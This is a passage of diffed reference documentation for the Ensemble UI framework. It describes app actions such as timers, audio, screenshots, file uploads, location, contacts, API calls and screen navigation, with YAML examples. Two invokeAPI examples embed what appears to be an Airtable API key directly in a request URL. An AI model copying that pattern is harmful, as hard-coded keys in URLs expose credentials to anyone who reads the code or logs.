Type | Description | +| :-------------- | :----- | :----------------------------------------------------------------- | +| id | string | Give this timer an ID so it can be cancelled by a stopTimer action | +| onTimer | action | Execute an Action every time the timer triggers | +| onTimerComplete | action | Execute an Action when the timer has completed and will terminate | +| options | object | [see properties](#propertiesoptions) | + +#### properties.options + +| Property | Type | Description | +| :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| isGlobal | boolean | Marking this timer as global will ensure the timer, if repeating indefinitely, will continue to run even if the user navigates away from the screen, until explicitly stopped by the stopTimer action. Note that there can only ever be one global timer. Creating a new global timer will automatically cancel the previous global timer. | +| In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. | +| startAfter | integer | Delay the timer's start by this number of seconds. If not specified and repeat is true, repeatInterval will be used. If none is specified, there will be no initial delay | +| repeat | boolean | Whether the time should repeat and trigger at every repeatInterval seconds. This Timer will run continuously unless a maxNumberOfTimes is specified | +| repeatInterval | integral | Trigger the timer periodically at this repeatInterval (in seconds) | +| maxNumberOfTimes | integer | Set the max number of times the timer will triggers, if repeat is true | + +**Usage Examples** + +In the example below, we start a time that calls an API after 5 seconds, and repeat this action 3 times. That means after 15 seconds, the `onTimerComplete` action is executed. + + + +```yaml +View: + header: + title: "Action: startTimer" + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Start Timer + onTap: + startTimer: + onTimer: + invokeAPI: + name: getNYCTime + options: + repeat: true + maxNumberOfTimes: 3 + repeatInterval: 5 + onTimerComplete: + executeCode: + body: | + //@code + timerComplete.text = 'Timer completed'; + + - Text: + text: | + API response: + ${getNYCTime.body.datetime} + + - Text: + id: timerComplete + +API: + getNYCTime: + authentication: none + method: GET + uri: https://worldtimeapi.org/api/timezone/America/New_York +``` + + + +To learn more about how to use `startTimer` action, check out the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49) example. + +--- + +# stopAudio + +The stopAudio action allows users to stop a already playing audio file + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| id | string | A unique identity that's required to refer to the already playing audio. Should be same as that of passed in playAudio | + +**Example** + +```yaml +View: + header: + title: Audio Player + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + children: + - Button: + label: Play Audio + onTap: + playAudio: + id: My Audio + source: "https://file-examples.com/storage/fe8119f4e865f33329898be/2017/11/file_example_MP3_700KB.mp3" + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Play Audio 2 + onTap: + playAudio: + id: My Audio + source: audio.mp3 + volume: 1 # 0 to 1 + balance: 0 # -1 to 1 + position: 2 # in seconds + onComplete: + executeCode: + body: | + console.log("Audio Played"); + + - Button: + label: Pause Audio + onTap: + pauseAudio: + id: My Audio + + - Button: + label: Stop Audio + onTap: + stopAudio: + id: My Audio + + - Button: + label: Resume Audio + onTap: + resumeAudio: + id: My Audio + + - Button: + label: Seek Audio at 4 second + onTap: + seekAudio: + id: My Audio + position: 20 # in seconds +``` + +--- + +# stopTimer + +stopTimer action allows developers to halt or pause a running timer within the app, providing control over time-sensitive processes and facilitating efficient handling of time-related events, enhancing user interactions and application behavior. + +### Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------- | +| id | string | Stop the timer with this ID if it is running | + +**Example** + + + +```yaml +Joke: + body: + Column: + styles: { gap: 10 } + children: + - Text: + text: Click the button to show a Chuck Norris joke every 10 seconds. Click Stop when you have enough. + - Row: + styles: { gap: 10 } + children: + - Button: + label: Tell me a joke + onTap: + startTimer: + id: jokeTimer + options: + isGlobal: true + repeat: true + repeatInterval: 10 + startAfter: 0 + onTimer: + invokeAPI: + name: jokeAPI + onResponse: |- + //@code + output.text = response.body.value; + + - Button: + label: Stop + onTap: + stopTimer: + id: jokeTimer + - Text: + id: output +``` + + + +see the complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/86fba216-4f96-408b-abff-d3ddcfbdcf49?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) to understand usage + +--- + +# takeScreenshot + +takeScreenshot action allows you to capture a screenshot of read-only widgets using its widgetId. The screenshot is saved to the gallery on mobile platforms or downloaded directly on the web, while also providing the image bytes for further use. It's an efficient solution for exporting visual content in high quality. +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| widgetId | string | The ID of the target widget to be captured as a screenshot. | +| onSuccess | action | Action to be excecuted on successful screenshot capture. | +| onError | action | Action to be excecuted on error during screenshot capture.| + +### Event Data + +When the `onSuccess` action is executed, the following data is available under `event.data`: + +- **imageBytes**: Provides bytes of the screenshot. +- **size**: Provides total size of image in bytes, e.g. if screenshot has size of 1KB then `size` will return 1024. +- **dimensions**: Provides dimentions of the image as `dimensions.width` and `dimensions.height` + +When the `onError` action is executed, the following data is available under `event.data`: + +- **error**: Error message describing the issue. +- + +**Example** + +```yaml +View: + styles: + scrollableView: true + header: + title: "Action: takeScreenshot" + + Column: + styles: + gap: 16 + padding: 24 + children: + - Column: + id: section1 + styles: + gap: 16 + children: + - Button: + label: Test Button 1 + - Button: + label: Test Button 2 + # Take Screenshot using `takeScreenshot` action + - Button: + label: Take Screenshot + onTap: + takeScreenshot: + widgetId: ${section1} + onSuccess: + executeCode: + body: | + console.log(event.data.imageBytes) + console.log(event.data.size) + console.log(event.data.dimensions) + + # Take Screenshot using ensemble object in JavaScript `ensemble.takeScreenshot` + - Button: + label: Take Screenshot with JS + onTap: + executeCode: + body: | + ensemble.takeScreenshot({widgetId: section1}) +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/C3zALhZvHQHyFISY9Yvo) + +--- + +# uploadFiles + +uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. + +### Properties + +| Property | Type | Description | +| :--------- | :----- | :----------------------------------------------------------------------------------------- | +| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | +| uploadApi | string | Enter the name of your defined API | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| inputs | array | Define the list of input names that upload API accepts | +| fieldName | string | Field name that your server is expecting (default files) | +| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | +| options | object | [see properties](#propertiesoptions) | + +#### properties.option + +| Property | Type | Description | +| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | +| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | +| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | +| backgroundTask | boolean | If set true, uploading will be done in background. | +| showNotification | boolean | If set true, progress will be show in notification bar. | +| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: uploadFiles" + + # Specify the body of the screen + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: | + Use the `uploadFiles` action upload files to specify `uploadApi`. + + Then use the `onComplete` properties to execute other actions when upload is successful. + + - Button: + label: Pick Files + onTap: + pickFiles: + id: picker + + - Button: + label: Upload Picked files + onTap: + executeCode: + body: | + //@code + loading.visible = true; + + onComplete: + uploadFiles: + id: fileUploader + files: ${picker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + loading.visible = false; + onError: | + //@code + + loading.visible = false; + maxFileSize: 100 + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${fileUploader.body} + + - Progress: + display: circular + id: loading + visible: false + + - Divider + + - Markdown: + text: | + Chain multiple file actions to pick files and upload them in one go + - Using `pickFiles` to pick file based on platform picker + - Using `uploadFiles` to upload selected files from file picker + + - Button: + label: Pick & Upload + onTap: + pickFiles: + id: filePicker + onComplete: + uploadFiles: + files: ${filePicker.files} + uploadApi: fileUploadApi + inputs: + url: https://en09cdal5asztm.x.pipedream.net + onComplete: | + //@code + ensemble.debug('File uploaded'); + + - Divider: + + - Markdown: + text: | + `pickFiles` also comes with option such as: + + - `allowMultiple` : To allow muliple file selection from gallery picker default (false) + - `allowCompression` : It will allow media to apply the default OS compression (default True) + - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... + + `uploadFiles` also comes with option such as: + + - `files` : Pass the files that needs to upload e.g ${filePicker.files} + + - `fieldName` : Field name that your server is expecting. (default files). + + - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files + - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. + + - Row: + styles: { mainAxis: spaceBetween, crossAxis: center } + children: + - Button: + label: Multiple Images + onTap: + pickFiles: + id: images + allowMultiple: true + allowCompression: false + allowedExtensions: + - jpg + - png + + - Text: + text: ${images.files.length} + - Button: + label: Upload Multiple images + onTap: + uploadFiles: + id: imageUploader + uploadApi: fileUploadApi + files: ${images.files} + fieldName: files + inputs: + url: https://en09cdal5asztm.x.pipedream.net + maxFileSize: 100 # in kb + overMaxFileSizeMessage: Please select files less than 100kb + + - Markdown: + text: ${imageUploader.body} + - Divider + + - Markdown: + text: | + ### Background file upload + - Pick and Upload files in background. + - In unmetered connection (wifi/lan) + - Also show notification + - *Not supported on web / studio. + + - Button: + label: Background upload + onTap: + pickFiles: + id: bgFilePicker + onComplete: + uploadFiles: + uploadApi: fileUploadApi + files: ${bgFilePicker.files} + inputs: + url: https://en09cdal5asztm.x.pipedream.net + id: bgUploader + options: + backgroundTask: true + showNotification: true + networkType: unmetered + + - Divider: + + - Markdown: + text: | + _Side Note: If you are using default uploadURL it's using RequestBin_ + + _RequestBin has maxFileSize of __100 kb__ above it will fail._ + + _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ + + - Divider: + +API: + fileUploadApi: + inputs: + - url + uri: ${url} + method: POST +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Formatter + +Ensemble provide convenience formatter utilities for handling date/time and common tasks. + +Access these formatters with prefix `ensemble.formatter.*`. + +### prettyDate() +Accepts an ISO date-time string and output the most common user-friendly format based on the user's detected locale. +- `ISO string`: the string to convert to a user-friendly date string. + +```yaml +Text: + # output "Dec 2, 2022" or "2 Dec 2022" depending on detected locale. + text: ${ensemble.formatter.prettyDate("2022-12-02T14:20:05-0700")} + +Button: + onTap: |- + // same output in Javascript. + console.log(ensemble.formatter.prettyDate("2022-12-02")); +``` +For a more complete Date operations, see [Date](../javascript-reference/Date.md) + +### prettyTime() +Accepts an ISO date-time string and outputs the most common user-friendly time format based on the user's detected locale. +- ISO string: The string to convert to a user-friendly time string. + +```yaml +Text: + # output "2:20 PM" or "14:20" depending on detected locale. + text: ${ensemble.formatter.prettyTime("2022-12-02T14:20:05-0700")} +``` + +### prettyDateTime() +Accepts an ISO date-time string and outputs the most common user-friendly date and time format based on the user's detected locale. +- ISO string: The string to convert to a user-friendly date and time string. + +```yaml +Text: + # output "Dec 2, 2022, 2:20 PM" or "2 Dec 2022, 14:20" depending on detected locale. + text: ${ensemble.formatter.prettyDateTime("2022-12-02T14:20:05-0700")} +``` + +### customDateTime() +Accepts an ISO date-time string and a pattern that, then outputs the date and time formatted according to the provided pattern (user locale will be ignored). +- ISO string: The string to convert to a formatted date and time string. +- Pattern: The pattern to use for formatting the date and time string. + +```yaml +Text: + # output 2022-12-02 14:20" for all locales + text: ${ensemble.formatter.customDateTime('2022-12-02T14:20:05-0700', 'yyyy-MM-dd HH:mm')} +``` + +--- + + +# Device + +Ensemble provides convenient access to device information and capabilities. This includes device information, such as the device model, operating system, and screen size. + +Access these properties/methods with the prefix `ensemble.device.*`. + +--- + +# checkPermission + +`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. + +**Inputs** +`type`: applicable types are `notification`, `location`, `contacts`, and `camera`. + +**Callbacks** +1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." + +2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." + +3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." + +```yaml +- Button: + label: Notification Permission + onTap: + checkPermission: + type: notification + onAuthorized: | + //@code + notificationStatus.text = "Authorized"; + console.log("onAuthorized called"); + onDenied: | + //@code + notificationStatus.text = "Denied" + console.log("onDenied called"); + onNotDetermined: | + //@code + notificationStatus.text = "Not Determined" + console.log("onNotDetermined called"); +``` +When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. + +--- + +# getLocation + +getLocation action enables users to retrieve their device's current location, facilitating location-based functionalities within the app, such as mapping, navigation, or personalized content delivery, enhancing user experience and context-aware interactions. It requests user's permission to get his/her current location + +### Module (ensemble_location) +Enable Location service in Ensemble code + +By default, Ensemble does not include the location module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_location/location_manager.dart'; +``` + +* Search for this line and uncomment it: +``` + // GetIt.I.registerSingleton(LocationManagerImpl()); +``` + +* Search for this line and set it to true +``` + static const useLocation = false; +``` + +--- + +### Properties + +| Property | Type | Description | +| :----------------- | :----- | :---------------------------------------------------------------------------------------------------- | +| options | object | [see properties](#propertiesoptions) | +| onLocationReceived | action | Callback Action once we get the device location | +| onError | action | Callback Action if we are unable to get the device location. Reason is available under 'reason' field | + +#### properties.options + +| Property | Type | Description | +| :---------------------- | :------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| recurring | boolean | Whether to continuously get the device location on this screen. Note that a screen can only have one recurring location listener. Adding multiple recurring location listeners will cancel the previous one. | +| recurringDistanceFilter | integer | If recurring, the minimum distance (in meters) the device has moved before new location is returned. (default: 1000 meters, minimum: 50 meters) | + +**Example** + + + +```yaml +View: + # Optional - style the screen + styles: + scrollableView: true + + # Optional - set the header for the screen + header: + title: "Action: getLocation" + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Get location via Action + styles: + font: subtitle + - Markdown: + text: Use `getLocation` Action to get the location, with the option to continuously get location change updates. + - Button: + label: Listen for location changes + onTap: + getLocation: + options: + recurring: true # while on this page, location changes will continue to execute onLocationReceived + recurringDistanceFilter: 50 # only dispatch if the new location is more than 50 meters away from the previous location + onLocationReceived: |- + //@code + status.text = 'Lat: ' + latitude + ', Lng: ' + longitude; + onError: |- + //@code + status.text = reason; + - Text: + id: status +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/uH9b2ZnmSS3HT7BsECu4?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# getPhoneContacts + +The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. + +```yaml +- Button: + label: Get Phone Contacts + onTap: + getPhoneContacts: + id: phoneContactId + onSuccess: | + // ***code + console.log("Phone Number Fetched Successfully"); + ensemble.storage.set('contacts', event.data['contacts']); + + onError: | + // ***code + console.log("Something went wrong!"); +``` +The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. + +```yaml +- ListView: + id: listView + styles: + expanded: true + item-template: + data: ${ensemble.storage.contacts} + name: contact + template: + UserContact: + inputs: + contact: ${contact} +``` +The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. + +```yaml +UserContact: + inputs: + - contact + styles: { gap: 10 } + onLoad: + getPhoneContactPhoto: + id: contactPhotoId + contactId: ${contact.id} + + # Using JS Code + + # //@code + # ensemble.getPhoneContactPhoto({ + # id: "contactPhotoId", + # contactId: contact.id + # }); + + body: + Column: + styles: { gap: 2 } + children: + - Row: + children: + - Image: + source: ${contactPhotoId.image} + width: 100 + height: 100 + fallback: ImageFallbackWidget + - Column: + styles: { gap: 2, margin: 10 } + children: + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${contact.displayName}" + - Text: + textStyle: { fontWeight: bold, fontSize: 18 } + text: "${getPhoneNumber(contact.phones)}" + - Shape: + styles: + height: 10 + - Divider: +``` +The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. + +```yaml +Global: | + //@code + + if (ensemble.storage.contacts == null) { + ensemble.storage.contacts = []; + } + + function getPhoneNumber(phones) { + if (phones.length > 0) { + return phones[0].number; + } else { + return ""; + } + } +``` +The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. + +--- + +# invokeAPI + +To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). + +## API response object +Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | +| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | +| headers | array | Key value pairs of http response headers | +| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | + +## API/invokeAPI properties +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | +| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | + +**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: + +```yaml +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + +### Usage examples of InvokeAPI + +Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well + +##### 1. Using ensemble invokeAPI action. + + + +````yaml +View: + onLoad: + invokeAPI: + name: getPeople + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +##### 2. Using JavaScript code block to execute invokeAPI action. + + + +````yaml +View: + onLoad: | + //@code + ensemble.invokeAPI("getPeople"); + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Text: + text: ${getPeople.body.results.length} records were retrieved from API + - Markdown: + text: | + Here's the API response body: + ``` + ${getPeople.body} + ``` + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +```` + + + +- **Its similar to previous only that we are now using Javascript code block**. + +To call an API on button tap, inside the body add a Button with `onTap` property: + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: getPeople + - Column: + item-template: + data: ${getPeople.body.results} + name: item + template: + Text: + text: ${item.name.first} + +API: + getPeople: + uri: https://randomuser.me/api/?results=8 + method: GET +``` + + + +## POST calls with input parameters + +You can also create a POST request and pass parameters to the API like this + + + +```yaml +View: + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDo + inputs: + name: "some value" + onResponse: | + //@code + var id = response.body.records[0].id; + postStatus.text = 'Record created: ' + id; + - Text: + id: postStatus + +API: + createToDo: + inputs: + - name + uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" + method: "POST" + body: + records: + - fields: + desc: "${name}" +``` + + + +## Handing errors + +To handle Errors, you can use the `onError` property: + + + +```yaml + - Text: + text: Handle error + - Button: + label: Call API + onTap: + invokeAPI: + name: createToDoError + onResponse: | + //@code + apiStatus.text = 'Call was successful'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object + onError: | + //@code + apiStatus.text = 'API returned an error'; + //you have the response object available here so you access its properties. See top of the page for response object + console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object + - Text: + id: apiStatus + +API: + createToDoError: + inputs: + - name + uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' + method: 'POST' + body: + records: "this is not what the API expects" +``` + + + +## Use in code + +You can also call an API in code block. + + + +```yaml + - Button: + label: Call API + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.invokeAPI("getNewYorkTime"); + - Text: + visible: ${getNewYorkTime.body != null} + text: Current time in NYC is ${getNewYorkTime.body.datetime} + +API: + getNewYorkTime: + uri: https://worldtimeapi.org/api/timezone/America/New_York + method: GET +``` + + + +## Properties for invokeAPI + +| Property | Type | Description | +| :--------- | :----- | :------------------------------------------------------------------------- | +| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | +| name | String | Name of the API defined in the API section | +| inputs | Object | Key value pairs ofinputs to be passed to API definition | +| onResponse | Action | The action to handle the response | +| onError | Action | The action to handle errors | + +Details about API [here](/pages/build/user-interface/1-page-structure.md) + +--- + +# invokeHaptic + +invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity +and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| onComplete| action | Execute another Action post executing the haptic | + +**Example** + + + +```yaml +View: + header: + title: Haptic + Column: + styles: { gap: 16, padding: 24 } + children: + - Button: + label: Using Action + onTap: + invokeHaptic: + type: lightImpact + onComplete: | + //@code + console.log("Haptic completed") + - Button: + label: Using JavaScript + onTap: | + //@code + invokeHaptic({type: lightImpact}) + - Button: + label: Using methods + onTapHaptic: lightImpact + onTap: | + //@code + console.log("Button Press") +``` + +--- + +# navigateBack + +`navigateBack` action allows users to go back to the previous screen or page within the app's navigation stack, enhancing user experience and facilitating smooth app navigation. Navigating back to the previous screen if possible. The current screen will be removed from the navigation history. This also works for a modal screen. + +**Example** + +Using navigateBack is straight forward. In ensemble when you visit a screen using [navigateScreen]() by default there is a back button in the header ( if there is a header ). Otherwise you can also associate navigateBack action with either a custom button or icon as you wish. + + + +```yaml +View: + title: "Action: navigateBack" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open a new screen above the current one and use "navigateScreen" to navigate back to this main screen. + - Button: + label: Show Detail Page + onTap: + navigateModalScreen: + name: "Action: navigateBackModal" +``` + + + +can see complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateModalScreen + +navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------- | +| name | string | Enter the Name or ID of your screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| onModalDismiss | action | Execute an Action when the modal screen is dismissed | + +**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action + +**Example** + + + +```yaml +View: + title: "Action: navigateModalScreen" + styles: + scrollableView: true + + body: + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can open new screen on above the main screen using action `navigateModalScreen` + - Button: + label: Show Modal + onTap: + navigateModalScreen: + name: Actions & events + - Markdown: + text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. + - Button: + label: Show Modal Using Code + onTap: + executeCode: + body: | + //@code + + // no inputs + ensemble.navigateModalScreen('Actions & events'); + //with inputs + //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# navigateScreen + +navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. + +Like any other action, navigateScreen may be called in YAML or in the JS code. + +### Properties + +| Property | Type | Description | +| :------------- | :----- | :-------------------------------------------------------------------------------------- | +| name | string | Enter the Name or ID of your Screen | +| inputs | object | Specify the key/value pairs to pass into the next Screen | +| options | object | [see properties]() | +| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | +| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) + +#### Screen Transition +Animate screen transition from one to another. + +| Property | Type | Description | +| :--- | :--- | :---| +| type | string | [transition type](#transition-type) +| alignment | string | [transition alignment](#transition-alignment) +| duration | integer| duration of transition in millisecond + +#### transition-type +| name | +| :--- | +|fade | +|rightToLeft | +|leftToRight | +|topToBottom | +|bottomToTop | +|scale | +|rotate | +|size | +|rightToLeftWithFade | +|leftToRightWithFade | +|leftToRightPop | +|rightToLeftPop | +|topToBottomPop | +|bottomToTopPop | + +#### transition-alignment +|name| +|:---| +|topLeft| +|topCenter| +|topRight| +|centerLeft| +|center| +|centerRight| +|bottomLeft| +|bottomCenter| +|bottomRight| + +#### properties.options + +| Property | Type | Description | +| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | +| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | + +**Example: Calling navigateScreen - Detailed Examples for YAML and JS** + + + +```yaml +View: + title: "Action: navigateScreen" + styles: + scrollableView: true + + Column: + styles: { gap: 16, padding: 24 } + children: + - Markdown: + text: You can navigate to another screen using action `navigateScreen` + - Button: + label: Navigate to Home + onTap: + navigateScreen: + name: Home + + - Markdown: + text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. + - Button: + label: Navigate to Home using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen('Home'); + + - Divider + + - Markdown: + text: | + #### Pass inputs + You have the option of passing inputs to the target screen. + + - TextInput: + id: messageInput + label: Message to pass + value: Hello there + + - Button: + label: Navigate and pass inputs + onTap: + navigateScreen: + name: "Action: navigateScreen inputs demo" + inputs: + message: ${messageInput.value} + + - Button: + label: Navigate and pass inputs using code + onTap: + executeCode: + body: | + //@code + ensemble.navigateScreen({ + "name": "Action: navigateScreen inputs demo", + "inputs": { + "message": messageInput.value + } + }); + + - Divider + + - Markdown: + text: | + #### options: clearAllScreens + By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. + + When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. + + - Button: + label: Navigate and clear all screen history + onTap: + navigateScreen: + name: Home + options: + clearAllScreens: true + + - Divider + + - Markdown: + text: | + #### options: replaceCurrentScreen + Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. + + - Button: + label: Navigate to new screen and replace the current screen + onTap: + navigateScreen: + name: Home + options: + replaceCurrentScreen: true +``` + + + +You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +**Example: Calling navigateScreen in Javascript** + +```javascript +//navigating to a screen without any options +ensemble.navigateScreen('My Screen'); +//navigating to a screen with options +ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} +``` + +### onNavigateBack + +We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. + +**Example** +Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We 